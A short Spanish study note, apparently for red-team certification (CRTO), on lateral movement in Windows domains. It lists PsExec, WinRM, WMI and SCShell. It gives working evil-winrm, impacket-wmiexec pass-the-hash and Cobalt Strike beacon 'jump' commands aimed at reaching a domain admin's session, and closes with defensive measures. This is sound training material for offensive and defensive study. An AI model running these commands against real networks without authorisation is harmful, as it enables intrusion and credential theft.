Movimiento lateral

Con credenciales válidas de un equipo, el movimiento lateral consiste en ejecutar código en otra máquina del dominio para ir acercándome al controlador de dominio.

Las vías habituales

Método	Puerto	Nota
PsExec	445 (SMB)	Crea un servicio; ruidoso pero fiable
WinRM	5985	PowerShell remota; desde Kali, evil-winrm
WMI	135	wmiexec; no deja servicio
SCShell	445	Modifica un servicio existente en vez de crear uno (más sigiloso)

# Desde Kali, con credenciales o con hash
evil-winrm -i ws01 -u Administrador -p 'Password'
impacket-wmiexec corp.local/Administrador@ws01 -hashes :<hash>

# Desde un beacon (CRTO): jump = ejecutar + recibir beacon nuevo
beacon> jump winrm64 ws01 smb
beacon> jump psexec64 ws01 smb
beacon> jump scshell64 ws01 smb      # tras cargar scshell.cna, más sigiloso

Comprobar antes de saltar

beacon> ls \\ws01\c$                 // ¿tengo acceso administrativo?
beacon> net view                      // qué equipos hay
beacon> portscan ...                  // o netstat para ver puertos

El objetivo no es solo llegar a cualquier equipo, sino a uno donde haya iniciado sesión un usuario con más privilegios (un admin del dominio), para luego robar su token o sus tickets.

Cómo se defiende

• Firewall interno y segmentación: que un portátil no pueda hablar por SMB/WinRM con todos los demás.
• LAPS para que el admin local de un equipo no sirva en otro.
• Restringir quién puede iniciar sesión remota en cada equipo (Protected Users, políticas de logon).
• Vigilar creación de servicios remotos (evento 7045) y uso de WinRM/WMI inusual.